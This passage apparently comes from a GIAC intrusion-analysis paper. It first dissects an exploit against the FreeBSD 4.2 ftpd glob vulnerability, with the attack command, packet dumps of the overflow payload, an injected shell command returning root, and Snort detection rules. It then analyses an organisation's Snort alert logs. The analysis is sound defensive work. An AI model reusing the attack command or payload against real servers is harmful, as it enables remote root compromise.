It seemed that upon creating the long name directories, it is not just the single characters used. But there is one packet containing several hexadecimal characters that can not be translated into ASCII format. It was | 10a4 bfbf | . I can use this signatures to detect whether the attack is a first attempt or not.

After I try this attack several times and watch for every traffic pattern occurred during the attack, I discovered that it only takes once to use the " –c " option   which will make several directories with a long single characters. Once attacking the target machine using " –c " option, the next attack won't need to use that option. But it is a must to use the " –c " option on a first attack, otherwise the attack will not work.

To prove this, I then launch a second attack, but without using the "-c" option:

```
        Linux# fbsdftp-ex.c -t 0 -v FreeBSD.address naldo pass123
```

And the trace result after completing the ftp authentication process, the Attacker simply send this:

```
13:46:27.512277 > LINUX.1041 > FreeBSD.ftp: P 27:138(111) ack 114 win 32120 (DF)
4500 0097 01cd 4000 4006 b3cb c0a8 01b5  | E . . . . . @ . @ . . . . . . .
c0a8 01c3 0411 0015 9839 7670 b0d4 6af6  | . . . . . . . . . 9 v p . . j .
5018 7d78 150f 0000 5354 4154 2043 4343  | P . . x . . . . S T A T   C C C
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f ---- ---- ---- ---- ---- ---- ----  | * / . . . . . . . . . . . . . .

13:46:27.610982 > LINUX.1041 > FreeBSD.ftp: P 138:209(71) ack 114 win 32120 (DF)
4500 006f 01ce 4000 4006 b3f2 c0a8 01b5  | E . . o . . @ . @ . . . . . . .
c0a8 01c3 0411 0015 9839 76df b0d4 6af6  | . . . . . . . . . 9 v . . . j .
5018 7d78 dec8 0000 6563 686f 2027 5b2b  | P . . x . . . . e c h o   ' [ +
5d20 4966 2079 6f75 2063 616e 2073 6565  | ]   I f   y o u   c a n   s e e
2074 6869 7320 6c69 6e65 2079 6f75 2068  |   t h i s   l i n e   y o u   h
6176 6520 6120 7368 656c 6c20 5b2b 5d27  | a v e   a   s h e l l   [ + ] '
203b 202f 7573 722f 6269 6e2f 6964 0a--  |   ;   / u s r / b i n / i d \n.
```

Then the FreeBSD machine reply:

```
13:46:27.613839 < FreeBSD.ftp > LINUX.1041: P 164:211(47) ack 209 win 17520 (DF) [tos 0x10]
4510 0057 052b 4000 4006 b09d c0a8 01c3  | E . . W . + @ . @ . . . . . . .
c0a8 01b5 0015 0411 b0d4 6b28 9839 7726  | . . . . . . . . . . k ( . 9 w &
5018 4470 23c8 0000 7569 643d 3028 726f  | P . D p # . . . u i d = 0 ( r o
6f74 2920 6769 643d 3130 3031 286e 616c  | o t )   g i d = 1 0 0 1 ( n a l
646f 2920 6772 6f75 7073 3d31 3030 3128  | d o )   g r o u p s = 1 0 0 1 (
6e61 6c64 6f29 0a-- ---- ---- ---- ----  | n a l d o ) \n. . . . . . . .
```

The Attacker then gains a remote shell with root privileges.

Detecting the attack

Once an attack was successful, there will be a long single characters name directories created in the user home directory whose account has been used to launch this attack. For example I execute this command in the long name directory created by this attack:

```
          FreeBSD# pwd
```

And this is what I get:

```
/usr/home/naldo/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC/                    )ÀP° PÍ
€)ÀP¿fish)öf¾IF1þV¾I  1þV‰ ãPTPTS°;PÍ
€                                                              /EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEE/FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF/GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGG/HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH/IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII/JJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJ/KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK/ …. And so on…….
```

So if such directories are found in your home directories or if as an administrator you found such directories in your local users home directory, probably your user account has been used to launch an attack or may be one of your local user has gain root access on the machine where you are the administrator.

I read for the source code which was written in C , and find out that, there will be a similar pattern that I can used to detect this attack. The attack will need to run this functions :

```
      sprintf(buf, "STAT CCC*");
      for(rep = 0; rep < targets[type].cwds; rep++)
            strcat(buf, "/*");
```

Which will occur like this in traces :

```
 4500 0097 01cd 4000 4006 b3cb c0a8 01b5  | E . . . . . @ . @ . . . . . . .
c0a8 01c3 0411 0015 9839 7670 b0d4 6af6  | . . . . . . . . . 9 v p . . j .
5018 7d78 150f 0000 5354 4154 2043 4343  | P . . x . . . . S T A T   C C C
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f  | * / * / * / * / * / * / * / * /
```

It seemed that to trigger the attack, the attacker need to execute a “ stat “ command followed with “ CCC “ and many “ */ “ characters. So I am using the above traces to create a snort rule, which will detect such traffic.

```
alert tcp any any -> any 21 ( msg: " fbsdftp-ex.c attack against FreeBSD4.2 ftpd "; content:"|5354 4154
2043 4343 2a2f 2a2f|"; )
```

There is another specific rules if i want to determine whether this attack is a first attempt, where an Attacker will have to create many long single characters name directories. I then created this rule:

```
alert tcp any any -> any 21 ( msg: " fbsdftp-ex.c first attack attempt against FreeBSD4.2 ftpd ";
content:"| 10a4 bfbf |"; )
```

Defensive Recommendation

Install the latest patches available at :
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch

From the attack behavior explained above I will give a recommendation to restrict access to the service for local user account by setting the appropriate permissions on any services or executable file available on the system, ensure that any anonymous login to ftp server cannot create any directories, and make sure that directories with name longer than 8 characters don't exist in the user home directories.

References :

Globbing Vulnerabilities in Multiple FTP Daemons
http://www.pgp.com/research/covert/advisories/048.asp

CAN-2001-0247
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0247

Bugtraq
http://www.securityfocus.com/bid/2548

Fbsdftp-ex.c Exploit code web site:
http://ns2.crw.se/~tm.

FreeBSD security advisory:
http://packetstorm.securify.com/advisories/freebsd/FreeBSD-SA-01:33.ftpd-glob

ASSIGNMENT #3

" *Analyze This* " *Scenario*

Thank you for the opportunity to assess GIAC's logs data. Firstly I will briefly explain the data provided from GIAC enterprise, including the generating date and type of data. Then I will list all the attack detected from the log data including the attack description with number of occurrences, number of addresses involved in each attack, and top talker's list. I will then describe any traffic and host with possible malicious activity and that should be checked seriously. Then at the end, I will list any possible compromised host and write a brief summary from all detects.

The provided log data are consists of three types of files. The first type is snort fast alert files named “ **SnortA*** “. The second type consisted of the snort scan detection preprocessor output files named “ **SnortS*** “. The last type is a set of files named in the format “ **OOS*** “ contained what would normally be contained in Snort’s logs but with more header and payload information.

The following 3 tables, lists the date where the logs file was generated:

45 Snort alert files (SnortA*) was generated for the following dates:

11/24	12/06	12/17	12/30	01/08
11/26	12/07	12/20	12/31	01/09
11/28	12/08	12/21	01/01	01/10
11/29	12/09	12/22	01/02	01/11
12/01	12/10	12/23	01/03	01/12
12/02	12/12	12/24	01/04	01/13
12/03	12/13	12/26	01/05	01/15
12/04	12/15	12/28	01/06	01/16
12/05	12/16	12/29	01/07	01/18

31 Snort scan detection preprocessor output files (SnortS*) was generated for the following dates:

12/09	12/21	12/31	01/12
12/10	12/24	01/01	01/13
12/12	12/25	01/02	01/15
12/13	12/27	01/03	
12/16	12/28	01/08	
12/17	12/29	01/09	

12/20	12/30	01/11	

22 Snort (OOS*) files was generated for the following dates:

11/28	12/15	01/08	01/14
12/09	12/19	01/09	01/15
12/10	12/20	01/10	01/16
12/11	12/28	01/11	01/17
12/12	01/04	01/12	01/18
12/13	01/05	01/13	

The following table, contain lists of the attacks and the number of occurrences obtained from the snort alert files:
.

Attacks Detected	Number of alerts (# Of occurrences)
Spp_portscan (only portscan status counted)	221176
Watchlist 000220 IL-ISDNNET-990517	105918
SYN-FIN scans!	51192
DNS udp DoS attack described on unisog	16146
Tiny Fragments - Possible Hostile Activity	5340
Connect to 515 from outside	4238
Watchlist 000222 NET-NCFC	2401
Wingate 1080 Attempt	2239
Attempted Sun RPC high port access	2053
Null scan!	826
Queso fingerprint	710
SNMP public access	591
NMAP TCP ping!	558
Russia Dynamo - SANS Flash 28-jul-00	546

SMB Name Wildcard	515
SUNRPC high port access!	204
Connect to 515 from inside	159
Broadcast Ping to subnet 70	154
TCP SMTP Source Port traffic	100
Back Orifice	77
External RPC call	59
Probable NMAP fingerprint attempt	8
Site exec - Possible wu-ftpd exploit - GIAC000623	2
STATDX UDP attack	1

SPP_Portscan
2639 sources

Spp_portscan alert was generated by any portscan attempt. A portscan attempt is an attempt to determine any opened ports on a target machine.

Watchlist 000220 IL-ISDNNET-990517
100 destinations, 46 sources

The Watchlist rule-set that generated these alerts is meant to specifically watch all traffic coming from an Israeli ISP,

Bezeq International
40 Hashacham St.
Petach Tikvah
Israel

Typically this rule-set is created to watch a network that has history of problems with their internal network security.

SYN-FIN scans
37 sources, 27067 destinations

A SYN-FIN scan is a probing attempt using TCP/IP packets containing both the SYN (start of connection) and FIN (end of connection) flags. The goal is to find open ports. The attacker uses the invalid SF flag combination to elude (hopefully) detection by intrusion detection systems. This is considered a hostile activity. Because the SYN-FIN flag combination does not occur naturally on TCP/IP networks

DNS UDP DoS attack described on unisog

8 sources, 6 destinations

The domain name system is a distributed database that is used by TCP/IP applications to map between hostnames and IP address. It is a service by which we all locate systems on the Internet name (e.g., www.yahoo.com) without having to know specific IP address. That's why this makes it a favorite target for attack. This alert is to watch for any attack trying to disable a domain name system services aiming at hosts that have a running domain name system daemon / services.

Tiny Fragments - Possible Hostile Activity

13 sources, 27 destinations

Tiny fragments are packets that have been fragmented in a very small size in an attempt to bypass a filtering device like firewall or router to launch a reconnaissance attempt or an attack, and probably try to hide from IDS. Malicious fragmentation can be used to launch denial of service attacks or indicating covert actions.

Connect to 515 from outside

2877 sources, 10 destinations

Port 515 is reserved for UNIX LPR and LPRng services daemon. There are some exploits regarding this daemon that allow a root compromise from both local and remote systems. A connection attempt from the outside might be from the attackers who try to compromise a remote machine using this exploits. They can exploit the string-format vulnerability present in the LPRng service, and potentially gain root access or execute malicious code.

Sans has reported the vulnerability regarding this services.
http://www.sans.org/newlook/alerts/port515.htm.

Watchlist 000222 NET-NCFC

31 sources, 19 destinations

This alert is setup to watch on any connection activity coming from NCFC network. (The *Computer Network Center Chinese Academy of Sciences*)

Wingate 1080 Attempt
474 sources, 572 destinations

Wingate is a product that allows people on a small home network or a larger business network to share and control access to the Internet through a single computer connection. All users share a common Internet connection through one computer, which does not have to be dedicated to its gateway role.

Early versions of Wingate allowed anyone on the Internet to use them as a proxy by connecting to them before sending traffic to the intended destination. Crackers use this to hide the real source addresses of intrusion attempts so open Wingate servers are often attacked.

This alerts was generated by traffic that trying to access port 1080 which is a Wingate port.

Attempted Sun RPC high port access
16 sources, 23 destinations

Remote procedure call is a protocol that a program can use to execute or request a service / function call / system call from a remote host without having to know the network details and then receive the response from the remote host.

Null scan
527 sources, 173 destinations

Null scan is a scanning technique that turns all the TCP flag bit off. This kind of scans indicating an involvement of a packet crafting tools and a reconnaissance attempt. We won't see a TCP packet with the entire flag bit turned off in a normal activity. This might be an attempt to elude any packet-filtering device or any intrusion detection system on the target network.

Queso fingerprint
52 sources, 72 destinations

Queso is a tool that can be used to fingerprint operating systems. It sends a variety of different packets to the victim machine. The replies from the stimulus packets are used to determine the operating system type. An attacker for further attacks can use that information. For example, once this attacker can determine a remote operating system is Red hat Linux, such attacker usually will launch specifics exploits regarding Red hat machine such like rpc.statd exploits and wu-ftpd exploits.

SNMP public access
20 sources, 7 destinations

SNMP is a simple network management protocol for governing network management and monitoring the network devices. It is an application-layer protocol that facilitates the exchange of management information between network devices and is part of the TCP/IP protocol suite. It can provide valuable information regarding a remote network. Public should not access SNMP.

SNMP consists of two parts: the manager and the agent. The SNMP manager has the ability to retrieves and changes configuration information from the SNMP agents. The authentication scheme in SNMP is accomplished through the use of an unencrypted " community string", which will make SNMP very vulnerable to any sniffer program.

NMAP TCP ping
47 sources, 156 destinations

NMAP is a powerful scanner to determine an opened port and host fingerprinting on target remote machine. NMAP TCP ping is usually used to determine any live host on a remote network using ICMP echo reply and request packets. It is a reconnaissance attack.

This attack was very similar to Ping tool, but the differences here are that Ping will use an ephemeral port as the source address. While NMAP TCP ping would allow the user to determine any number as the source port number. This kind of activity will usually try to bypass any packet-filtering device that allows any packet with particular port number to pass.

Russia Dynamo - SANS Flash 28-jul-00
2 sources, 2 destinations

It seemed that this alert is caused by the source address that is coming from Russia and attempting to access port 6699 at the internal hosts. There are two addresses involved in this alert," 194.87.6.38 " and " MY.NET.205.138 ". This external address is coming from Russia, and it seemed that this address is accessing port 6699, which is used by napster program on host MY.NET.205.138. I will check this machine whether there is a napster program running or not. If the machine has no running napster program, then there is a big possibility that there is a back door program installed and running on this machine. This back door program might be using port 6699 for listening.

SMB Name Wildcard
93 sources, 171 destinations

SMB (Server Message Block) protocol is used by Windows machine to access Windows shares. SMB Name Wildcard is an attempt to identify any Netbios resources on the Windows network. Usually once resources are identified, specific exploits will be launch against any vulnerable Windows machine.

SUNRPC high port access!
25 sources, 19 destinations

It seemed that a RPC port has been accessed, so these ports should be monitored.
There is a little chance that an enterprise like GIAC would allow a RPC connection from the outside to

the internal hosts. That's why access to this port should be restricted and watched.

Connect to 515 from inside
10 sources, 98 destinations

This alerts were generated by Line Printer traffic going from the inside network to the outside.

Broadcast Ping to subnet 70
24 sources, 1 destination

Ping is a tool that sends an ICMP echo request packet to a remote host, and then receives an ICMP echo reply packet from the remote host. An ICMP echo request packet sent to a broadcast address will cause every host on the entire subnet send an ICMP echo reply packets. This might cause a denial of service attack.

This alert is to watch any attempts to map the MY.NET.70 subnet with a broadcast ping to MY.NET.70.255 or an attacker might use this broadcast address to relay an attack like Smurf attack.

TCP SMTP Source Port traffic
5 sources, 88 destinations

These alerts are generated by Traffic using 25 as the source port. SMTP daemon used this port number for listening.

Back Orifice
11 sources, 71 destinations

Back orifice is a remote administration tools that allows a user to control a computer remotely across a TCP/IP connection using a simple console or GUI application. This tool gives its user more control of the remote windows machine than the person at the keyboard of the remote machine.

Some attacks usually are scanning for the back orifice port, on port 31337. And if a listening back orifice port is found, the attacker can connect to it using the back orifice and basically take over the host.

This alert was generated by traffics with destination port 31337.

External RPC call
15 sources, 25 destinations

This alert was generated by connection from the outside, which was attempting to access the portmap RPC service inside your network. Your internal machine that has been heavily targeted was MY.NET.6.15. I will closely check on this machine, and if portmap service is not needed on this machine, I will disable this service. But if it is necessary to allow portmap service, I will recommend install tcp_wrappers or ipchains to filter traffic coming to this machine.

Probable NMAP fingerprint attempt
5 sources, 6 destinations

NMAP is a very powerful tool for a reconnaissance / scanning attempt. It has the ability for stealth scanning and operating system fingerprinting. The information gathered can be used to launch more serious attacks against a finger printed remote machine.

Site exec - Possible wu-ftpd exploit - GIAC000623
3 sources, 3 destinations

Wu-ftpd is one of the buggiest daemons on earth and one of the hacker's favorite for it has a bunch of security problem that can lead a remote attacker to gain root and compromise the system.

There were three machines being targeted for this attack. They are MY.NET.130.98, MY.NET.156.127, and MY.NET.97.162. I will take a close look at these machines whether it had been compromised or not.

STATDX UDP attack
1 source, 1 destination

Most of the rpc.statd exploits attack was remote buffer overflow, which will let the attacker to gain a remote shell with root privileges if succeeded.

The internal hosts being aimed for this attack is " MY.NET.6.15 ". I will take a close look at this machine whether it has been compromised or not.

HAPPY 99 VIRUS
1 source, 1 destination

HAPPY 99 are a worm program that has reportedly been received through email spamming and USENET newsgroup posting. The original file is named HAPPY99.EXE and appears as an attachment to an email.

MY.NET.6.47 has been targeted for this attack. Therefore this machine should be checked whether infected by Happy 99 virus or not.
There are tools that can remove this virus automatically. They can be downloaded from:

http://www.pchell.com/internet/happy99.shtml

Symantec has a brief description about this virus:

http://www.symantec.com/avcenter/venc/data/happy99.worm.html

Top 25 Alert Destination Ports

The following table lists how frequent connections to specific ports were attempted. These results are from the Snort Alert files (snortA*).

Frequency (# Of connection attempts)	Destination Port
37785	6688
35136	53
29329	6699
21619	21
9525	4876
9315	4967
9099	109
4397	515
4191	1525
2351	6346
2257	32771

2240	1080
1754	25
1673	443
1580	9055
1517	2209
1221	4078
1063	41033
1059	23
960	7000
858	4808
803	4683
759	4436
688	4336
591	161

Table 1. Top alert destination ports

Top 25 Alert Destination Address

The following table shows which destination IP addresses that had the most attempted connections. These results are from the Snort Alert files (snortA*).

Frequency (# Of connection attempts)	Destination IP Address
37609	MY.NET.201.222
25183	MY.NET.220.126
9314	MY.NET.225.234
5452	MY.NET.1.3
5408	MY.NET.1.4
5352	MY.NET.1.5
5253	MY.NET.202.94
5082	MY.NET.229.114
4448	MY.NET.228.214
3148	MY.NET.1.8
2291	MY.NET.202.30
2047	MY.NET.201.130
1520	MY.NET.130.187

1447	MY.NET.217.138
1429	MY.NET.5.29
1289	MY.NET.60.11
1264	MY.NET.1.10
1230	MY.NET.98.114
859	MY.NET.209.154
803	MY.NET.213.222
803	MY.NET.100.230
763	MY.NET.97.48
728	MY.NET.212.38
727	MY.NET.217.162
663	MY.NET.213.158

Table 2. Top alert destination address

Top 25 Alerting Source Address

The following table shows, which source IP, had generated most of the alerts. These results are from the Snort Alert files (snortA*).

Frequency (# Of attack attempts)	Source IP Address (From outside)
48786	212.179.79.2
39015	212.179.27.111
17604	211.34.40.1
16132	209.67.50.203
9878	195.56.182.206
8565	194.234.48.26
4563	212.179.95.5
4096	147.8.182.157
3052	194.204.224.131
2353	212.179.77.20
2315	24.3.0.37
2236	141.211.176.99

Table 3. Top alert external source address

Frequency (# Of attack attempts)	**Source IP Address (From inside)**
24235	MY.NET.214.166
14327	MY.NET.253.24
11891	MY.NET.100.230
9999	MY.NET.217.150
6869	MY.NET.213.186
6863	MY.NET.202.94
6094	MY.NET.217.158
4988	MY.NET.218.130
3788	MY.NET.156.110
2772	MY.NET.219.126
2403	MY.NET.97.154
2159	MY.NET.60.8
2005	MY.NET.217.230

Table 4. Top alert internal source address

Top 25 Scanned Destination Ports

The following table displays how frequent specific ports were scanned. These results are from the Snort Scan data files (snortS*).

Port Number	**Frequency # Of attempts**
21	194356
28800	102150
6112	99920
7778	60889
53	59755
25	52011
27015	46359
0	23969
9000	21936
27374	21855
2000	12755
5232	10878
7000	9816
9004	8775
137	7785
109	7171
27016	6892
2340	6737
7003	6708

13139	6547
59	6330
17771	5888
113	5111
27961	5107
27018	4372

Table 5. Top 25 scanning destination ports

Top 25 Scanning Source Address

The following table lists are from the Snort Scan data files (snorts*).

Source IP Address	Frequency # Of connection attempts
MY.NET.100.230	58763
MY.NET.213.186	54674
MY.NET.202.94	35149
MY.NET.217.94	33734
24.180.134.156	33502
MY.NET.98.200	32406
MY.NET.253.24	31840
212.187.94.162	29530
24.4.196.167	29528
MY.NET.214.166	27825
MY.NET.218.158	25190
MY.NET.217.150	22960
212.64.74.169	22545
24.191.63.215	22005

62.158.93.109	21920
24.29.40.11	18744
MY.NET.218.130	18478
216.6.8.25	16874
MY.NET.156.110	16587
133.1.36.184	15042
MY.NET.201.50	14164
MY.NET.217.106	13858
MY.NET.140.21	13684
207.29.192.114	13647
64.167.160.235	12710

Table 6. Top 25 scanning source addresses

Watchlist 000220 IL-ISDNNET-990517
100 destinations, 46 sources

All these detect came from Israeli networks.

- MY.NET.201.222 and MY.NET.220.126 were very active destinations on this Watchlist. This looks like
active targeting. I will take a closer look on those machines.

MY.NET.220.126 was being targeted at port 6699 and MY.NET.201.222 was being targeted at port 6688, which is used for napster. I will check whether there is a napster program running on this machine or not. If there is, I will consider installing a personal firewall on the machine to deny any connection coming from addresses listed on this Watchlist. If there isn't any napster program running on the machine, there might be a possibility that this machine has been compromised and a Trojan horse program has been installed on the machine and listening on port 6699.

```
SnortA51.txt:01/04-02:54:06.872039  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688
SnortA51.txt:01/04-02:54:07.917555  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688
```

```
SnortA51.txt:01/04-02:54:08.343293  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688
SnortA51.txt:01/04-02:54:09.153560  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688
SnortA51.txt:01/04-02:54:09.713495  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688
SnortA51.txt:01/04-02:54:09.888115  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688
SnortA51.txt:01/04-02:54:10.089223  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688
SnortA34.txt:01/11-21:19:57.905936  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.79.2:43204 -> MY.NET.220.126:6699
SnortA34.txt:01/11-21:19:57.911716  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.79.2:43204 -> MY.NET.220.126:6699
SnortA34.txt:01/11-21:19:58.072712  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.79.2:43204 -> MY.NET.220.126:6699
SnortA34.txt:01/11-21:19:58.103217  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.79.2:43204 -> MY.NET.220.126:6699
SnortA34.txt:01/11-21:19:58.108635  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.79.2:43204 -> MY.NET.220.126:6699
SnortA34.txt:01/11-21:19:58.115863  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.79.2:43204 -> MY.NET.220.126:6699
```

- MY.NET.60.11 has been targeted at port 23, which is telnet, for 1058 attempts. There were two sets of attacks here. The first set was launch on 7th January at 03:52, and then ended 3 minutes later. The second set was launch on the same day but started 13 minutes after the first attack ended, and then ended about 27 minutes later.
  I come to two conclusions here. The first is this might be a Brute force attack using a single source port. The second conclusion is that MY.NET.60.11 has been compromised before, so that the attacker is able to establish a direct connection to this machine through the telnet port. I will check the system log of this machine to trace for any successful connections coming to this machine.

```
SnortA45.txt:01/07-03:52:17.757818  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> MY.NET.60.11:23
SnortA45.txt:01/07-03:52:17.937671  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> MY.NET.60.11:23
SnortA45.txt:01/07-03:52:18.315168  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> MY.NET.60.11:23
SnortA45.txt:01/07-03:52:18.494859  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> MY.NET.60.11:23
SnortA45.txt:01/07-03:52:18.544149  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> MY.NET.60.11:23
SnortA45.txt:01/07-03:52:18.674344  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
```

```
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:19.033193  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:20.068697  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:20.316345  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:20.753931  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:20.976072  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:23.120016  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:23.202111  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:23.418334  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:24.162977  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
SnortA45.txt:01/07-03:52:25.193675  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.58.12:49089 -> **MY.NET.60.11:23**
```

Tiny Fragments
13 sources, 27 destinations

Tiny Fragments is close to Packet crafting activity. Because tiny size fragmentation packets are generated using packet crafting tools. The traces below show an evidence of packet crafting activity coming from an internal machine MY.NET.219.122.

```
11/29-23:16:56.415641  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 ->
208.162.62.208
11/29-23:17:31.850346  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 ->
208.162.62.208
11/29-23:17:37.864468  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 ->
208.162.62.208
11/29-23:17:37.864560  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 ->
208.162.62.208
11/29-23:17:50.134575  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 ->
208.162.62.208
11/29-23:17:50.134666  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 ->
208.162.62.208
```

```
11/29-23:17:50.134801  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 ->
208.162.62.208
```

I will consider this machine has been compromised.

Watchlist 000222 NET-NCFC
31 sources, 19 destinations

All these detect were coming from 159.226.x.x network, which addressed to " The Computer Network Center Chinese Academy of Sciences ". 61,89 % of this alerts are SMTP alerts (1486 SMTP alerts / 2401 total alerts). It seemed that several machines from 159.226.*.* network was acting as a mail client to several mail servers resides on GIAC network.

Here is the table of internal machines acting as a mail server to 159.226.*.* network:

Mail Server Address	Frequency # of use
MY.NET.100.230	737
MY.NET.253.41	264
MY.NET.253.42	103
MY.NET.253.43	10
MY.NET.253.53	57
MY.NET.6.35	52
MY.NET.6.34	39
MY.NET.253.51	39

MY.NET.145.9	23
MY.NET.1.2	23
MY.NET.253.52	18
MY.NET.6.7	15
MY.NET.6.47	14
MY.NET.253.114	1
MY.NET.110.150	1

The internal machines act as mail server listed above should be checked, whether the connections are allowed to network 159.226.*.* or not.

SNMP public access
20 sources, 7 destinations

All the connection from the internal host to other internal hosts is considered normal, since network-connected devices ranging from routers to printers to computers are using SNMP to communicate each other. But it is not recommended to use the default unencrypted "community string" for the authentication mechanism as noted on SANS top ten list. The default community string should be changed to a better one.

As noted above, it is normal to see SNMP traffic inside the network. But I find two external addresses from the SNMP alerts, trying to access SNMP port on GIAC internal machine. The first external address produced 161 alerts, coming from "128.46.156.231" which is registered to Purdue University. The other produced 12 alerts, coming from "128.183.38.30" which is registered to NASA Goddard Space Flight Center.

```
SnortA30.txt:01/12-09:31:41.697088   [**] SNMP public access [**] 128.46.156.231:1030 ->
MY.NET.100.206:161
SnortA30.txt:01/12-09:32:02.380437   [**] SNMP public access [**] 128.46.156.231:1092 ->
MY.NET.100.143:161
```

```
SnortA30.txt:01/12-09:32:04.048761   [**] SNMP public access [**] 128.46.156.231:1093 ->
MY.NET.100.143:161
SnortA30.txt:01/12-09:32:04.082561   [**] SNMP public access [**] 128.46.156.231:1093 ->
MY.NET.100.143:161
SnortA30.txt:01/12-09:32:04.134998   [**] SNMP public access [**] 128.46.156.231:1094 ->
MY.NET.100.143:161
SnortA30.txt:01/12-09:32:10.408144   [**] SNMP public access [**] 128.46.156.231:1096 ->
MY.NET.100.99:161
```

```
SnortA30.txt:01/12-09:17:50.224557  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA30.txt:01/12-09:27:50.250923  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA30.txt:01/12-09:37:50.305146  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA34.txt:01/11-16:41:49.070093  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA34.txt:01/11-16:51:49.082046  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA34.txt:01/11-16:51:55.503209  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA34.txt:01/11-16:52:01.506795  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA34.txt:01/11-16:52:07.538894  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA34.txt:01/11-17:42:07.773525  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
